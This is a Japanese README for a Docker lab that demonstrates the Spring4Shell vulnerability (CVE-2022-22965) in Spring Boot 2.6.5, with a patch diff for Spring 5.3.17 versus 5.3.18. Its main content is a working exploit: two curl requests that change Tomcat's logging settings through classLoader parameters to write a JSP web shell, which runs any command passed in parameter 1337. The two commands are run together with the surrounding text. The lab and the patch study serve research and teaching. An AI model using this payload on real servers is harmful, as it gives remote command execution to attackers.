
Spring Boot 2.6.5のCVE-2022-22965(Spring4Shell)リモートコード実行脆弱性のDockerベースの概念実証。自動化されたウェブシェル展開とパッチ比較を備えています。
Spring Boot バージョン 2.6.5 における CVE-2022-22965 の Docker PoC

docker compose up --build を実行して、脆弱なアプリケーションをビルドし起動します。curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x"Spring Framework 5.3.17(脆弱版)および Spring Framework 5.3.18(パッチ適用版)のソースコードは、それぞれ以下からダウンロードできます。
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
脆弱性は /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java ファイルの 290 行目に存在します。この行では Class.getClassLoader() および getProtectionDomain() メソッドに対して検証が行われていますが、ClassLoader、ProtectionDomain 型や PropertyDescriptors 名については検証されていません。
脆弱コードとパッチ適用コードの差分は、diff コマンドで取得できます。
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java
